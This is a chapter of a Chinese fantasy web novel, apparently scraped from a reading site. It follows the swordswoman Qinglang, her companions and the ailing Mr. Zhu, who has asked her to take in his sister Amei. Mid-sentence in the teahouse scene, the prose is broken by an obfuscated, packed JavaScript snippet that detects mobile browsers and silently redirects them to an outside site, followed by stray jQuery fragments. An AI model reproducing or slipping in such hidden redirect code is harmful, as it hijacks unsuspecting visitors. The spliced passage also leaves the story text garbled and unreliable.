院内。


    谢不能倒进软椅里，有气无力地闭起眼：“真没想到，虚张声势，也能套出话。我所携带多是止痛安神、清脉化毒的药丸，只有一管用于防身的迷香。”


    青琅正收拾行囊，闻言并未回头，只出言提醒道：“人心叵测，他所言是真是假犹未可知，切勿尽信。”


    “能确认我不是屠戮扶薰谷满门的凶手，已经足够了。”谢不能笑道，“卸此重担，我感觉轻松不少。我们什么时候回安定城，替你那位身体不好的街坊调养？”


    青琅道：“计划有变。竹先生来信急召，要我先去一趟积香集。”


    “积香集？”谢不能意外道，“可有我帮得上忙的地方？”


    青琅略一思索：“我与竹先生有过约定，待他身死，便去积香集接走他妹妹阿梅，找一个好地方安置。你若有空，不妨随我走一趟，看看他是否已然药石无医。”


    谢不能疑惑道：“我从积香集探听消息回来，竹先生虽仍是那副病痛缠身、体弱气虚的模样，但显然未到油尽灯枯的境地。依我推算，若无大变，他应当还有一年半载的光景。”


    青琅动作一顿，从行囊中抽出一张皱巴巴的信纸，递过去。


    只见信里写道：


    「青琅。近来某旧疾频发，咳血不止，夜不能寐，延医问药皆言油尽灯枯，无力回天。此身如风中残烛，恐大限将至矣。」


    「某此生飘零，别无牵挂，唯有幼妹阿梅放心不下。近日有贵客至积香集，带来一些令人难以拒绝的提议，关于阿梅未来。而我思来想去，却觉得只有将阿梅托付于你，方能安心。」


    「许是回光返照，昨夜，我梦见初见你的那一天，惊得心神不宁。山雨欲来，盼你速至积香集，迟恐生变。」


    谢不能的目光在几处笔迹间略有停顿，迟疑道：“你既让我看这封信，想必心中已有论断。这不是单纯的托孤遗书……积香集出了变故？这变故，恐怕还与你有关。”


    ……


    大雪纷飞，朔风凛冽。


    因为这个天气，街尾的小茶铺难得迎来数十位客人，稀稀疏疏地分坐于角落。其中有一位背着长刀的，坐在漏风的窗边，正透过缝隙远望。


    此人年纪不大，一身窄袖束腰的江湖打扮，单薄得与周围环境格格不入。外头的风渗进来，衣服上已结了层薄冰，她却面色如常，仿佛不觉寒意。


    茶铺老板拎来一壶热酒，带着些许呛鼻的柴烟味，摇头道：“就要亥时，你的朋友还不来。这杯热酒，怕是又要浪费了。”


    明霜退摸出几枚铜钱，回以友善的微笑：“大雪封山，行路艰难，何必着急？早知道清静道是这样的天气，我们就不约着在此见面了。”


    老板道：“等到九月份酬天大典，圣主依照惯例移驾凌云道，清静道的风雪便会止歇。客官是从哪里来的？眼下虽然冷了些，但是万里冰封的雪景，别处可难得一见呢。”


    话音未落，年久失修的木门发出“嘎嘣”一声，门闩被震起来，引得客人们纷纷侧目。


    狂风猛地灌进来。昏黄烛光剧烈摇曳，在墙间地面投落奇怪的黑影。有人闪身而入，反手轻轻一推，一道无形的禁锢法诀便封住门窗，连风声也遥远了。


    来客尚未抖落肩头积雪，先将一人扔在地面。那人周身衣衫被雪污浸透，触地时四肢发抖，脸色煞白，鼻息间热气微弱，看着已是不太清醒。


    明霜退道：“青琅，无怪乎你来得慢，原是多带了位朋友。这是何方神圣？”


    “在鉴堂门口捡到的考生。”青琅皱眉道，“几十人在外长跪不起，恳请堂主取消他前往道盟任职的资格。他不相信鉴堂会依照规矩办事，便擅自当街与人争吵，引得堂主火冒三丈，一掌将他打成这样了。”


    九州七道，各地皆有鉴堂。鉴堂乃道盟所设，每三年举行考核，位居前十者可以在道盟拥有一官半职。世间天资平庸的修行者，若想为道盟贡献一份力量，参加鉴堂考核是不错的途径。


    明霜退提醒道：“你要帮他？旁人骂他一万句，堂主伤他一百掌，鉴堂也得按照规定将他送往道盟。你若出手，或让他来麻烦我，都会教他更引人注意。”


    青琅道：“清静道天寒地冻，这人资质平庸而体弱气虚，昏迷在鉴堂门口，不一定熬得到明天早晨。我原先只想寻一医馆救治他，可惜出门太赶，没有带钱。”


    明霜退沉吟片刻：“来路不明的人，最好一点都别管。你查过他没有？他遭人针对至此，你应该能从闲言碎语里，听出些信息来吧。”


    青琅道：“没关注。”


    明霜退嘴角抽动：“你在三桂山闭关，连只活物都见不着，被关傻了吧？要我说，你拒绝道盟邀约，是明智之举。如今，道盟权势由柏川尊者派系一手把持，我表哥风头正盛。你与柏川尊者有些旧怨，与我表哥又向来不对付，若是加入道盟，怕是要被吃得连骨头渣子都不剩。”


    青琅问：“我听人说，明清英在清静道。”


    明霜退连忙摆手：“你要做什么？他当年单打独斗，我们二人人数占优。如今他受天道封尊号，已不同往日。你得忍一忍，忍到我受封，再与他对战！”


    为避免青琅提剑搜寻，为迅速终结这个晦气的话题，明霜退将身侧的包裹打开，取出一块玉佩。那玉佩色泽莹润，上方端端正正地刻着一个「明」字，看起来玄妙非常。


    她道：“你捡来的这位道友……我把这块玉佩借他一用吧。往后一段时日，莫说鉴堂堂主，无论是谁，都要看在我的面子上让他三分。若他自己足够机灵，懂得借势而上，说不准还能收获几分其他助力。”


    青琅道：“我只想保他一命。”


    “救他一时，无法救他一世。若他因为你今日帮助而心存侥幸，以后到了道盟仍旧如此行事……还不如继续昏倒在鉴堂门口听天由命。”明霜退咬牙道，“更何况，你来得那么迟，害我身上金银俗物已全作酒钱！”


    耳鸣不止，被捡的道友——孟竹勉力睁开双眼。


    模糊不清的视线里，有二人对坐相谈，一人持刀，一人按剑。茶酒的热气自中间杯盏蜿蜒升起，是寒凉冬日里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376983|181601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    难得的暖意。


    滴答滴答。


    天色将明，窗外雨丝细细密密连成线。


    积香集里，竹先生自梦中惊醒。百年前的风雪遥远而模糊地缠绕着他，教他虽裹着厚重棉被，仍觉四肢冰凉而胸腔钝痛。


    “咳……咳咳……”他蜷起身体，熬过一阵撕心裂肺的咳嗽。


    这具残躯病体强撑多年，还未到山穷水尽的地步。只是如今，比他的身体更为迅速崩坏的，是他苦心经营的积香集。道盟来使与玉堂城来客同时向他施压，积香集不再是自由但安全的避风港，似是要成为吞噬一切的漩涡中心。


    无尽的忧虑与恐惧搅得竹先生一身病痛彻底翻腾起来。他艰难地喘匀了气，坐起身，用沾染着零星血迹的手掌，轻轻推合木窗。


    他承过别人的恩情，背叛过别人，亏欠过别人，苟且偷生许多年，已到偿还的时候。一切都是注定的——从他闲来无事看马戏，捡到阿梅的那一天，他就注定没办法心安理得地躲过这些债孽了。


    竹先生裹紧外衣，手指悬停在燃着安神香的暖炉上。片刻后，他收回手，从门边抽出两把竹骨伞。


    “走吧。”他对等候已久的车夫吩咐道，语气轻飘飘，“有新的客人要来了。”


    ……


    一辆不起眼的菜车晃过长街，熟练地避开宵禁时分巡逻的守卫，直往东南去。聋哑菜农坐在横杆上，伸手拽住鼓飞的车帘。


    青琅与谢不能对坐，淡淡道：“去年，我往玉堂城欲杀李观主。计划当日，他恰巧去永和城参加元旦盛会，傍晚回到太虚观时，有长梧山庄侍卫陪同护送。我担忧在大庭广众之下杀他会遭追捕通缉，往后难有清静日子，便没有动手。”


    “计划失败，教人烦躁。又逢骤雨，惯常走的路被摊贩存放避雨的杂物堵死，只能绕行。我明明已经选了最偏僻的小路，偏偏又撞见几个聒噪之人，当街敲诈勒索。我觉得碍眼，顺手将他们处理了。”


    “事后，竹先生找到我道谢，说被勒索之人是他的妹妹阿梅。他身有痼疾，恐时日无多，若他日身死，望我能看顾阿梅，为其寻一安稳去处。作为交换，他可以倾尽积香集之力为我提供消息，价格从优。”


    谢不能道：“路见不平，拔刀相助；机缘巧合，托付身后事。听起来，倒是一段佳话。”


    青琅道：“出手打人，是我心情不好，恰逢其会。应下约定，只因代价合宜，各取所需。”


    谢不能若有所思：“竹先生人脉通达，为何会这样干脆地选择你？”


    “不清楚，而且不重要。”青琅道，“他的要求，我能做到；他的条件，正是我所需要的。”


    谢不能问道：“我打听过竹先生来历，确是奇人。他曾是清静道武圣主座下，后来年岁渐长，发觉自己志不在修道，反热衷于经营算计、积攒钱财。于是他辞别武圣，辗转各地，最终在平州一手建立积香集。关于他的妹妹阿梅……消息太少，似是没什么存在感。”


    青琅道：“她常来我家，替我浇花。”


    或者说——“她们”。